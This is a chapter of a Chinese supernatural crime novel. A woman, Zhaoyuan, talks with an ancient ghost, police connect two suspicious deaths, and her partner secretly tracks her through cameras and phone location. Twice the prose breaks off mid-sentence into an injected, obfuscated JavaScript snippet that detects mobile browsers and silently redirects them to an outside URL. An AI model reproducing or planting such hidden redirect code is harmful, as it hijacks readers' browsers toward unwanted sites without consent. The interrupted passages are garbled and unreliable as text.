“衣物最难修复,更何况现在还要查渗血的事,一来二去就耽误了不少时间。你沉睡了上千年,如今既然来到了这个世界,总该去尝一尝这些年间的新鲜事物。这样,你才算是真正活过了上千年,而不只是承受了这上千年的疼。” 朝元想到他身上的伤,似乎语气也随之柔和下来,“而我,作为未曾见过前史的后人,也想从你口中听一听那些不在故纸堆里的旧事。如果你不愿意说,我当然也不会强求你。” 似乎朝元真的极想知道,萧摩奴是如何从好端端的人,一步步坠落,直至成为汤汤史海中彻头彻尾的疯子。 萧摩奴都看在眼里。 “我从不记得他有过什么自持自重的模样。在我的印象里,他从头到尾便是低眉顺眼、点头哈腰的样子。纸上记载的,不过是他原本的样子,也是妙迦希望他成为的样子。”萧摩奴的语气淡淡的,像是在谈论一个与己无关的人,只有那目光深深地望着朝元。一面微笑,一面望着朝元。 “你口中的妙迦,”朝元没有回避,目光直直迎上他,抬抬唇干脆地问道,“便是慕容皇后吧。” 萧摩奴收回了视线,转而望向夜色中浮动的憧憧灯火,面色依旧平静:“你是在说,慕容皇后与奴婢有染吗?” “不止我一人这么想。恐怕当时就有不少人议论,说慕容皇后在与……太监私通吧。大概在你们死后的数百年里,这样的说法也一直没有断绝。”她又吐出了一个难听的词,说得又慢又稳,在微暖的春风里,却足像是一根绵密的刺。 萧摩奴笑了,隔了一会儿,他嘴角微微一牵,又笑了:“慕容皇后是何等人?能与她一同流传百年,即便是阉狗,也该无憾了吧?只是,不知她自己,是否觉得委屈呢?” 朝元听着萧摩奴这般问。 像是问给她听的。 紧接着,她便看见萧摩奴停下步子,侧过头看她。 漂浮月光和灯光的夜色里,萧摩奴像是想起来什么,续声说道:“施主,你倒是和妙迦极像,你们二人皆是自幼丧父丧母。不过,妙迦的双亲是身在宦海,遭人所害。那么施主的呢?戕害你父母的凶手,可曾找到了?” 已到了她家门前。 朝元恍惚间,仿佛看见落地窗前有檀非的身影。 再回身时,萧摩奴已经不见了。 朝元不知道萧摩奴究竟知晓她多少往事。一个沉睡了上千年的鬼,连人的五感都未必齐全的鬼,又如何能将她的经历知道得分毫不差? 朝元能够感觉到,每当提及妙迦,他的情绪便会有微妙的波动。 他是为了妙迦而来的。 可即便如此,朝元依旧厌恶这种失去掌控的感觉。 思及此,朝元已经面色不变地推开了家门。 ——“我回来了。”朝元在玄关处换鞋,朝屋里喊道。 “我六点给你打过电话,你手机关机了。是去逛街了吗?”檀非端着洗好的水果走到走廊,身子微微倚着墙,目光落在她放在长条凳上的手提袋上,声音温和。 “这些是给秋稔买的,他过来秦川没有带多少换洗衣物,天也将热了。”朝元将换下的帆布鞋收进鞋柜,经过檀非身侧,顺手接过他手中的果盘,拈起一颗李子咬了一口,“我今天一下午都待在实验室,就干脆把手机关了。晚上正好借着逛街的机会散散心。” “你一个人吗?”檀非还是倚在墙边,端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454709|201208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着朝元坐在沙发上。 朝元打开电视,屏幕上恰好正在播放有关高槿花园小区刑事案件的市民新闻。 “当然是我一个人,散心嘛,本来就是一个人的事。”朝元扭头笑了笑,回道。 檀非却像是并未被电视里的内容所吸引。他走到岛台前,将清洗水果留下的水渍仔细擦拭干净,随口问道:“你去见过秋稔的室友吗?他在产业园被针对的事情,你知情吗?” 朝元这才愣了愣,在过分明亮的灯光下抬眼看他:“他和我说,他和室友相处很愉快,你去看过他了吗?” 檀非将洗碗巾叠好,放回架子上,水声轻响,他低头洗干净双手:“如果你这段时间忙不过来,我多去看看他,你别担心。”随后,他说道,“今天我爸妈回沪申了,她临走前去看过你,对吗?” 朝元这才起身,从手提包的夹层里取出那张银行卡,走到檀非的身边,将卡放在岛台上:“你爸妈都很不喜欢我。我和他们只见过三次面,我看得出来,他们将来也不会喜欢我,我不是他们心仪的儿媳,我只是一个再普通不过的人。我不想你母亲再用别的方式劝我离开,所以才收了这笔钱;我也不想你因为和我的感情,耽误自己的前程。人都是会变的,你以后如果要回去沪申,随时都可以回。” 檀非没有收下那张银行卡,也没有反驳朝元的话。 他下午送周成璧、檀润芝离开时,周成璧已经把银行卡的事直言告诉了他。她的语气既像苦口婆心的劝导,又带着不加掩饰的轻慢。 这样的神情,让他难以忍受。 他想,自己大概是天生爱她的。 可这份爱,仍旧有待商榷。 思及此,檀非温声说道:“这件事是我做得不好,我完全尊重你的意见。”他说道,“我目前只想留在这边,不论是为了工作,还是因为你。我往后会尽量减少你们的接触,你不用再为这件事困扰。” 落地窗外,天色黑隐隐的,朝元看见似乎立着萧摩奴的身影。 朝元并未放在心上,想是自己看错了。 她捧过檀非的脸,笑着亲吻他的嘴唇。 电视机里关于高槿花园刑事案件的新闻已经结束了。 “我今天逛街,还买了五团羊绒线。”朝元望着他镜框下的眼睛,带着轻柔的笑意,“我小时候,我妈妈经常给我织衣服,她手艺很好,几乎什么都会织。原本她还说要给我织两件新毛衣,让我过年穿,只可惜我再也穿不到了。不过,我学会了一些她的手艺,我想试着给你织一件,你想要毛衣还是围巾呀?” “都好。我都很喜欢。”檀非神色平顺,温吞笑着回。 朝元说道:“我还从没有织过给别人穿的衣服,这是第一次,你可要珍惜。” 窗外依旧一片平静,再没有出现过那日百鬼夜行、捶打窗户的景象。 · 高槿花园小区的案件又有了新进展。 胡暇在查祝佳音联系人的时候,意外发现有另一个死者在半年前曾联系过她。 其实这位死者并不是在秦川出事的,而是在滇南。 事件出来后,有怀疑他是自杀;也有怀疑他是爬山过程中遇见了意外情况,急于下山而走错方向意外坠崖;也有神乎其神地说,这山本就是禁山,他是碰上了鬼怪索命。 再加之,那地方偏僻,监控覆盖率低,案件一直没有侦破。 一个在秦川,一个在滇南,他们是如何联系上的? “师妹啊——”胡暇打电话道,“禄黎山柏木春坠崖案是你负责的,我这边发现了一个和他有关联的人,能帮个忙吗?我想看看这个案子的卷宗,还有柏木春的背景情况,如果两个案子真的有关联,我会向你们市局发协作函。” 10. 罗绮者(五) 友谊区公安分局的会议室内。 “柏木春,二十八岁,男性,滇南人,毕业于滇南大学。毕业后一直在本地一家教培机构任职。根据滇南同事那边的走访情况来看,同学以及邻里对他的评价都很一致——性格内敛,行事稳重,不喜欢社交,习惯独来独往。但从大学开始就有一段亲密关系,每个月都会固定请假一周。事发前半年,他因为情绪问题被单位辞退,二零二五年六月份,在禄黎山禁区身亡。”警局成立了高槿花园小区的专案组,胡暇翻完了卷宗和资料,将目前查到的情况交代了一遍。 “其实,从柏木春生前的行为轨迹来看,他并没有表现出典型的自杀征兆。他没有处理个人财物,也没有留下遗物,在通讯记录里,同样没有见到他告别或者是异常的情绪流露。”会议室的另一位队员骆珈接着胡暇的话说道,“相反,他在出事前仍然保持着规律的生活节奏,甚至购买了新的登山装备,并查询过禄黎山周边的路线资料,不像是心血来潮地旅行,而是有计划、有准备的。” “禄黎山地势复杂,禁区范围内还没有开发。根据走访记录,柏木春当时有向村民问路,村民明确劝阻过他。但柏木春回应道——他是和爱人来旅游的,爱人在山那边等他。村民回忆说,他当时的情绪很放松,所以也进一步削弱了他自杀的可能性。” “警察到达事发地点后,现场并没有发现明显挣扎或者是求救的痕迹。他的随身物品分布也较为集中,没有出现典型失足滑落时应该有的散落轨迹。再加之,现场的足迹分析显示,他的行进路线清晰稳定,不符合迷路后慌乱行走的特征。另外,现场除了柏木春本人的足迹外,还发现了另一组痕迹。所以也削弱了意外坠崖这一点。”骆珈低头翻看资料,有条不紊地说道,没有多少情绪起伏。 他和祝佳音的相同点在于,两人都存在一段亲密关系。在他们出事之后,这段关系的另一方都无一例外地消失了。 他们也同样无父无母,社会关系十分简单。 “他所谓的爱人至今没有找到下落吗?”新加入专案组的警员问道。 胡暇摇摇头:“没有。现场第二组足迹的鞋码在四十二码左右,属于成年男性常见范围,从足迹的步幅和下压深度来看,对方身高应在一米八到一米八五之间,体重偏轻。步幅均匀,没有负重,行走状态从容,没有出现急促和失衡的状态。柏木春与他的足迹时有重叠,但也没有发现任何打斗、挣扎痕迹,两人应该认识,柏木春很信任他。” “他和祝佳音之间存不存在亲密关系的可能?”警员问道。 骆珈仍旧低着眉,一页页翻过资料。 会议室内,纸声和写字声飒飒作响。胡暇老练地接过话头:“目前来看,他们的直接联系非常有限,除了那段时间内仅有的两通通话记录,再没有任何形式的往来。祝佳音从未去过滇南,柏木春也没有来过秦川。当然,也不排除我们还没有掌握到的其他联络方式。” “我们在这之后又进一步梳理了柏木春的社会关系,在出事的前半年,他曾经频繁联系过十多个外地号码,这些号码的归属地分布很零散,没有办法和他既有的人际关系对应。截至目前,我们和滇南警方合作,一共锁定了十四个相关号码,在这十四个号码里,其中有六个办理了销户,其余的都已经不在国内了。” 也就是说,柏木春和祝佳音之间真的存在着什么隐秘的联系。 而联系中的其他痕迹,正在被人为地一点点抹掉。 同时,这些事情极有可能是同一个人做的。 包括柏木春和祝佳音在内的十六个人,已经有八人死亡。 这样的案件,无论从规模还是性质来看,都足称得上是能轰动全国的特大刑事案件。 偏偏在柏木春出事之初,由于缺乏关键证据,案件没有明确指向。也不知何人泄露了案件细节,舆论也随之迅速发酵,逐渐偏向单一的结论——柏木春无视劝阻,擅自越过禁区警戒线,最终不自量力导致坠崖。 胡暇不自觉地,思绪飘回到了十五年前,2011年。那年她才从警校毕业不久,二十出头的年纪,好不容易被调入刑侦,跟随师父参与的第一起案子,就是一宗纵火烧尸案。 案件最后以凶手自首收尾,看似尘埃落定。 可有些事情,始终没有过去。 胡暇总是会在某些深夜里,想起那张少女的脸——她总是纠缠在警局门口,一遍遍为父母伸冤。不仅如此,她还找上了那位凶手的女儿,站在她们面前,斩钉截铁地说,她们的父亲将死了。 她一遍一遍地告诉她们,她们的父亲将会怎么死去,将会怎么残忍地死去、遗憾地死去。 以至于,那两个女儿也情绪崩溃地来了公安局,请求警方再好好调查一遍。 胡暇记得,那个名为朝元的少女最后在媒体的围堵中,向他们泼了一桶粪。 原本那桶粪水是要泼在她身上的。 “滇南市局的同事最晚明天到,会和我们协作办案。”想到此,胡暇的指节叩了叩会议桌,用清脆的声响拉回她自己的思绪,“接下来,工作重点全部转向这十六个人,要辛苦各位了。” · 今夜没有月亮,夜市摊子上的汇通面、肉夹馍、牛肉饼、锅包肉……四面八方的香味带着几分凝滞感,像是漂浮在夜空中的油花。 这片夜市离友谊区公安分局很近,附近还有不少学校、住宅区和家属院,生意极好。两旁的烧烤店坐不下人,便热气腾腾地搬桌子、搬椅子,搬到街边来吃,一眼望去全都是攒动的人影。 但今夜无风,所以显得沉滞。 沿着小吃街一路往里走,人烟越少。 买夜宵的人回来了、加班上学的人回来了、打羽毛球、篮球的人也陆续回来了……直到再也望不见几个行人,连夜市摊子都一个接一个远去。 朝元坐在巷子的十字路口,在稀稀疏疏的灯光下看见两三个健壮的身影。 按照往常,朝元已经洗漱后歇息了。但此时此刻,她等在十字路口,碰上了这些忽然出现的醉汉。 “油茶麻花——热腾腾的油茶麻花——” 朝元并没有循着吆喝声的方向跑,她沿着十字路口,往最西边的家属院疾奔。 而那些醉汉在身后紧追不放。 朝元几乎是凭着本能,一直跑、一直跑、一直跑的时候,才感觉到有风在凶猛地刮过她的耳边。 空气里那股油腻的味道似乎淡了,可朝元却仿佛感觉到那些味道全都顺着她的鼻腔灌进了喉管里,凝滞、黏稠地堵成一团一团,让她几乎作呕。 家属院的住宅楼高低错落。这是朝元第一次来,门口的保安亭一片漆黑,可见并没有人值守。 楼体外墙上有监控在闪烁,像一双双睁合不定的红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454710|201208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色眼睛,一明一暗。楼与楼之间,是幽深幽长的柏油路。 记忆中,这条柏油路与一条条绵长的巷子重叠。巷中铺着青灰色的条砖,有的覆着一层惨淡的白灰,有的点缀着暗沉的朱红。 长巷尽头,连着一座座青瓦琉璃的宫苑,重重叠叠,如一座座漂浮在火海中的尖刀山。 不论是飞雪磅礴,还是无数个春光明媚、万物和煦的时节。永巷的朱门前,总有一个少年安静地站在青天下等她。 还是飞雪磅礴的日子更多些的,那些雪是殿中人随手撒下来的,像刀子一样,足以砍去身为人的情愫和情感。 而此时此刻,朱门前的青衫少年再次出现在了自己的眼前。 ——萧摩奴。 他的身后有一道刺眼的车光。 朝元在他晦暗不明的注目中,穿过了他的身子,朝那辆黑色轿车跑去。 ——顿时响起刺耳的刹车声。 “你们在干什么?跑什么跑!”轿车上的人下来,朝那几个醉汉喝道。 或许是欺软怕硬的,那些醉汉在看见轿车停下时,便转身跑得快没影了,看上去仍旧是清醒的人,不像是喝醉酒的样子。而车上人也没有再追上去,反而停在朝元的身边。 朝元没有被车撞到,只是因为跑得太快,又刹得太快,一下子重心不稳,摔在了柏油路上。 朝元抬起眼,穿过直射向地面的车光,望向从车上下来的胡暇。 “胡警官?”朝元张张唇,似乎有些意外,“是你?” · 这边不仅离朝元的住处远,也离秦川市内医疗资源极好的交大附属医院很远。 而此刻的医院内,正轮到檀非备班。 他从德国取得博士学位回国后,便被医院直接聘任为口腔颌面外科的副主任医师。同时在学校任教,任副教授。 他电脑屏幕的一角,监控画面安静地亮着,家里一直没有人回来。 朝元自下班后,便没有回去过。 她的手机定位……停在友谊区的出版社家属院。 这两天里,她常去那边。 那儿有她认识的人吗? 她去那边做什么? 前段时间,她说她要给他织围巾和毛衣的时候,他真的很高兴。甚至罕见地,他将她的话、她的拥抱和她的亲吻都在心里反复回味上很多遍,他已经开始期待。 可是,转眼之间,她仍旧在敷衍他。 “——咚咚咚。” 办公室的门被敲响。 檀非抬手关掉了监控画面,屏幕一转,又恢复成毕业论文的界面,上面整齐排列着密密麻麻的批注。他低头继续批改,像是什么都没有发生过,屏幕上的亮光映照在他那张斯文的脸上。 “请进。”他说道。 门被轻轻推开。 “檀老师,这位病人坚持要你亲自看,说认识你,关系很好,我没有办法……”规培生带着几分歉意说道。 檀非的目光落过去,镜片后那双沉静平和的眼睛在看清来人后,微微歪了歪头,笑意更深。 “没事,我认识他。”檀非安抚道。 那是一张和檀润芝生得很像的脸。 眉眼轮廓之间,也能窥见几分他自己的影子。 “好久不见。你回国了吗?”檀抱玉这才走进来,反手关上了门,“还当上了医生。”